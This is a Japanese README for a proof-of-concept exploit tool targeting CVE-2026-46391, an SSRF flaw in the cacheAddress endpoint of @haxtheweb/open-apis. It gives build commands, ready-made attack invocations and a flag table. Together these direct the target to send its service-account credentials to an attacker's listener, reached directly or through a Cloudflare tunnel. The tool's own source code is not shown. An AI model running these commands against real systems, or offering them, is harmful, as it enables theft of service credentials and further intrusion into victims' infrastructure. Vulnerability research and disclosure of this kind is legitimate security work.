
CVE-2026-46391 の概念実証エクスプロイト
CVE-2026-46391 の概念実証です。@haxtheweb/open-apis の cacheAddress エンドポイントの SSRF 脆弱性をトリガーし、コールバックで送信されるサービスアカウントの資格情報を取得します。

go build -o cve-2026-46391 .
go test ./...
./cve-2026-46391 -u <web-root> -l <listener> [-p port] [-t seconds] [-v]
直接(ターゲットと同じネットワーク):
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201
VPS/Cloudflare トンネルなどを経由:
./cve-2026-46391 -u http://10.10.0.80:3000 -l https://random-words.trycloudflare.com
カスタムポートとタイムアウト:
./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201 -p 9090 -t 60
| フラグ | 説明 | デフォルト |
|---|
-u, --url | ターゲットの Web ルート(例: http://10.10.0.80:3000) | 必須 |
-l, --listener | あなたの IP/ホスト名またはトンネル URL(例: 192.168.1.10, https://uuid.trycloudflare.com) | 必須 |
-p, --port | ローカルのリッスンポート | 8080 |
-t, --timeout | コールバックを待機する秒数 | 30 |
-v, --verbose | 受信したすべてのリクエストのヘッダーとボディを出力 | オフ |